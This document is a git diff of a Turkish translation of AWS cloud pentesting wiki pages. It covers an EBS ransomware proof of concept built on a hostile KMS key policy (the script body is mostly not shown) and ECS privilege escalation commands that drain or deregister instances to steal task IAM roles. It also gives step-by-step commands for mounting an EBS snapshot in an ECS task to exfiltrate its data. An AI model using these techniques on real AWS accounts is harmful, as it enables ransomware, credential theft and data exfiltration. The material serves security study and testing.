S3 ransomware örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot'larını alarak kopyalarını oluşturacak, yeni EBS hacimlerini şifrelemek için 'attacker' hesabından halka açık anahtarı kullanacak; ardından orijinal EBS hacimlerini EC2 instances'dan ayırıp silecek ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecek. 
|
||||
S3 ransomware örneğine benzer şekilde. Bu saldırı, eklenmiş EBS hacimlerinin snapshots kullanılarak kopyalarını oluşturacak, 'attacker' hesabından genel erişime açık anahtarı yeni EBS hacimlerini şifrelemek için kullanacak, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve en son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecektir. 
|
||||
|
||||
Bunun sonucunda hesapta yalnızca şifrelenmiş EBS hacimleri kalır.
|
||||
Bunun sonucu olarak hesapta yalnızca şifrelenmiş EBS hacimleri kalır.
|
||||
|
||||
|
||||
|
||||
Ayrıca belirtmeye değer, script orijinal EBS hacimlerini ayırmak ve silmek için EC2 instances'ı durdurdu. Orijinal şifrelenmemiş hacimler artık yok.
|
||||
Ayrıca belirtmek gerekir ki, script orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurdu. Orijinal şifresiz hacimler artık yok.
|
||||
|
||||
|
||||
|
||||
Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' policy kuralını kaldırın.
|
||||
Sonraki adımda, 'attacker' hesabındaki anahtar politikasına geri dönün ve anahtar politikasından 'Outside Encryption' politika kuralını kaldırın.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +494,15 @@ Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den
|
||||
]
|
||||
}
|
||||
```
|
||||
Yeni ayarlanmış anahtar politikasının yayılması için bir süre bekleyin. Ardından 'victim' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini bağlamayı deneyin. Hacmi bağlayabildiğinizi göreceksiniz.
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
|
||||
 
|
||||
|
||||
Ancak şifrelenmiş EBS hacmiyle EC2 instance'ını gerçekten başlatmayı denediğinizde işlem başarısız olur ve bağlı EBS hacmi artık anahtarla deşifre edilemediği için instance 'pending' durumundan 'stopped' durumuna geri döner ve orada kalır.
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
|
||||
 
|
||||
|
||||
Bu kullanılan python scripti. Şifreleme için kullanılacak anahtarın genel olarak erişilebilir bir AWS ARN değeri ile birlikte 'victim' hesabının AWS kimlik bilgilerini (creds) alır. Script, hedef AWS hesabındaki TÜM EC2 instance'lara bağlı tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından tüm EC2 instance'ları durduracak, orijinal EBS hacimlerini ayıracak, bunları silecek ve süreç boyunca kullanılan tüm snapshots'ları son olarak silecektir. Bu, hedef 'victim' hesabında yalnızca şifrelenmiş EBS hacimlerinin kalmasına neden olur. SADECE BUNU BİR TEST ORTAMINDA KULLANIN, BU YIKICI BİR İŞLEMDİR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarıyla bunları kurtarabilir ve snapshots'lar aracılığıyla orijinal hallerine geri yükleyebilirsiniz, ancak günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istedim.
|
||||
Bu kullanılan python script'idir. Script, şifreleme için kullanılacak anahtarın halka açık AWS ARN değeri ve 'victim' hesabı için AWS kimlik bilgilerini alır. Script, hedef AWS hesabındaki ALL EC2 instance'lara bağlı olan ALL mevcut EBS hacimlerinin şifreli kopyalarını oluşturur, ardından her EC2 instance'ını durdurur, orijinal EBS hacimlerini ayırır, siler ve süreçte kullanılan tüm snapshots'ları son olarak siler. Bu, hedef 'victim' hesabında sadece şifrelenmiş EBS hacimlerinin kalmasına neden olur. BU SCRIPT'İ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI'DIR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS key'i kullanarak bunları geri yükleyebilir ve snapshots aracılığıyla orijinal hallerine döndürebilirsiniz, ancak sonuçta bunun bir ransomware PoC olduğunu bilmenizi istiyoruz.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +621,8 @@ main()
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [Pentest Partners – AWS'de SSM kullanarak dosyalar nasıl transfer edilir](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Latacora - ECS on EC2: IMDS sertleştirmesindeki boşlukları kapatma](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – SSM kullanarak AWS'te dosya aktarma](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-27
@@ -4,41 +4,41 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### Host IAM Rolleri
|
||||
|
||||
ECS'de container içinde çalışan bir task'a **IAM role can be assigned to the task** atanabilir.\
|
||||
**If** task bir **EC2** instance içinde çalıştırılıyorsa, **EC2 instance**'a başka bir **IAM** role iliştirilmiş olur. Bu, eğer bir ECS instance'ını **compromise** edebilirseniz, potansiyel olarak **obtain the IAM role associated to the ECR and to the EC2 instance** elde edebileceğiniz anlamına gelir. For more info about how to get those credentials check:
|
||||
ECS'te konteyner içinde çalışan göreve bir IAM role atanabilir. Eğer görev bir EC2 instance içinde çalıştırılıyorsa, EC2 instance'ına başka bir IAM rolü eklenmiş olur.
|
||||
Bu da, bir ECS instance'ını **compromise** edebilirseniz, potansiyel olarak ECR ve EC2 instance'ına bağlı IAM rolünü elde edebileceğiniz anlamına gelir. Bu kimlik bilgilerini nasıl alacağınıza dair daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2 instance IMDSv2'yi zorluyorsa, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request**'un **hop limit of 1** olacak şekilde yanıt vereceğini unutmayın; bu, EC2 instance içindeki bir container'dan EC2 metadata'sına erişmeyi imkansız kılar.
|
||||
> IMDSv2'nin hop limitini 1 olarak belirlemek, awsvpc veya host-networked görevleri **engellemez** — sadece Docker bridge görevleri cevapların yok olması için yeterince uzakta oturur. Tam saldırı iş akışı ve bypass notları için [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) bölümüne bakın. Yakın tarihli [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) awsvpc ve host görevlerinin IMDSv2+h=1 uygulanmış olsa bile host kimlik bilgilerini hâlâ çektiğini gösteriyor.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Ayrıca, EC2 ECS task'larını çalıştırmak için docker kullanır; bu yüzden node'a escape edebilir veya **access the docker socket** yapabilirseniz, hangi **other containers**'ın çalıştırıldığını **check** edebilir ve hatta bunların içine **get inside of them** girip iliştirilmiş **IAM roles**'lerini **steal their IAM roles** edebilirsiniz.
|
||||
Ayrıca, EC2 docker kullanarak ECS task'larını çalıştırır; bu yüzden node'a kaçabilir veya **docker socket'e erişebilirseniz**, hangi **diğer container'ların** çalıştığını **görebilir**, hatta onların içine girip üzerlerine bağlı IAM rollerini **çalabilirsiniz**.
|
||||
|
||||
#### Mevcut host'ta container'ları çalıştırmak
|
||||
#### Mevcut host'ta container'ları çalıştırma
|
||||
|
||||
Dahası, **EC2 instance role** genellikle cluster içindeki node olarak kullanılan EC2 instance'ların **permissions** açısından **update the container instance state** yapmaya yetecek yetkiye sahiptir. Bir saldırgan, bir instance'ın **state of an instance to DRAINING** olacak şekilde durumunu değiştirebilir; bu durumda ECS o instance'dan **remove all the tasks from it** ve **REPLICA** olarak çalıştırılanlar **run in a different instance,** — potansiyel olarak saldırganın instance'ında — yeniden çalıştırılacak, böylece saldırgan onların **steal their IAM roles** ve container içindeki olası hassas bilgileri elde edebilir.
|
||||
Dahası, **EC2 instance role** genellikle kümedeki node olarak kullanılan EC2 instance'larının **container instance state**ini **güncellemek** için yeterli **permissions**a sahiptir. Bir saldırgan bir instance'ın **state'ini DRAINING olarak değiştirebilir**, ardından ECS o instance'daki tüm görevleri **kaldırır** ve **REPLICA** olarak çalıştırılanlar **farklı bir instance'da çalıştırılır**, potansiyel olarak saldırganın instance'ında, böylece onların IAM rollerini ve container içindeki hassas bilgileri **çalabilir**.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Aynı teknik **EC2 instance'ını kümeden kayıttan çıkararak** uygulanabilir. Bu potansiyel olarak daha az gizli olabilir ama bu, **tasks'ın diğer instances'larda çalıştırılmasını zorlayacaktır:**
|
||||
Aynı teknik, **EC2 instance'ını cluster'dan deregister ederek** yapılabilir. Bu muhtemelen daha az gizli olur ama **görevlerin diğer instance'larda çalıştırılmasını zorlayacaktır:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **task or container was stopped** olduğunu bildirmektir. Bunu yapmak için 3 potansiyel API vardır:
|
||||
Görevlerin yeniden çalıştırılmasını zorlamak için son bir teknik, ECS'ye **task or container was stopped** olduğunu bildirmektir. Bunu yapmak için 3 olası API vardır:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,38 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR container'lardan hassas bilgileri çal
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
EC2 instance muhtemelen ayrıca `ecr:GetAuthorizationToken` iznine sahip olacak; bu izin ona **imajları indirme** (içlerinden hassas bilgileri arayabilirsiniz) imkanı verir.
|
||||
EC2 instance muhtemelen ayrıca `ecr:GetAuthorizationToken` iznine sahiptir; bu da **imajları indirmesine** izin verir (içlerinde hassas bilgi arayabilirsiniz).
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Yeni bir ECS task/service içinde mevcut bir EBS snapshot'ının içeriğini doğrudan mount etmek ve container içinden verilerini okumak için native ECS EBS entegrasyonunu (2024+) kötüye kullanın.
|
||||
|
||||
### Bir EBS snapshot'ını doğrudan bir ECS task'ına bağlayın (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Yerel ECS EBS entegrasyonunu (2024+) suistimal ederek mevcut bir EBS snapshot'ının içeriğini yeni bir ECS task/service içine doğrudan mount edip konteyner içinden verilerini okuyun.
|
||||
|
||||
- Gereksinimler (minimum):
|
||||
- Gerekenler (asgari):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
- Bunlardan biri: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole için:
|
||||
- Volümler için kullanılan ECS altyapı rolü (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task rolleri (task definition tarafından referans edilenler)
|
||||
- Eğer snapshot bir CMK ile şifrelenmişse: infra rol için KMS izinleri (yukarıdaki AWS managed policy, AWS managed keys için gerekli KMS yetkilerini içerir).
|
||||
|
||||
- Etki: Konteyner içinde snapshot'tan rastgele disk içeriklerini (ör. veritabanı dosyaları) okuyup network/logs aracılığıyla exfiltrate etmek.
|
||||
- Etki: Snapshot'tan rastgele disk içeriğini (ör. veritabanı dosyaları) container içinde okuyup ağ/loglar aracılığıyla exfiltrate etmek.
|
||||
|
||||
Adımlar (Fargate örneği):
|
||||
|
||||
1) ECS infrastructure rolünü oluşturun (yoksa) ve managed policy'yi iliştirin:
|
||||
1) ECS altyapı rolünü oluşturun (yoksa) ve managed policy'yi iliştirin:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) `configuredAtLaunch` olarak işaretlenmiş bir volume ile bir task definition kaydedin ve bunu container içinde mount edin. Örnek (secret'i yazdırır, sonra uyur):
|
||||
2) `configuredAtLaunch` olarak işaretlenmiş bir volume içeren bir task definition kaydedin ve bunu container'a mount edin. Örnek (secret'i yazdırıp sonra uyur):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir servis oluşturun veya güncelleyin (infra rolünde iam:PassRole gerektirir). Örnek:
|
||||
3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir service oluşturun veya güncelleyin (infra role üzerinde iam:PassRole gerektirir). Örnek:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Task başladığında, container yapılandırılmış mount yolundaki snapshot içeriğini (ör. `/loot`) okuyabilir. Exfiltrate işlemini task’ın ağı/kayıtları üzerinden gerçekleştirin.
|
||||
4) Görev başladığında, konteyner yapılandırılmış bağlama yolundaki snapshot içeriğini (örn. `/loot`) okuyabilir. Exfiltrate via the task’s network/logs.
|
||||
|
||||
Temizlik:
|
||||
```bash
|
||||
@@ -123,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user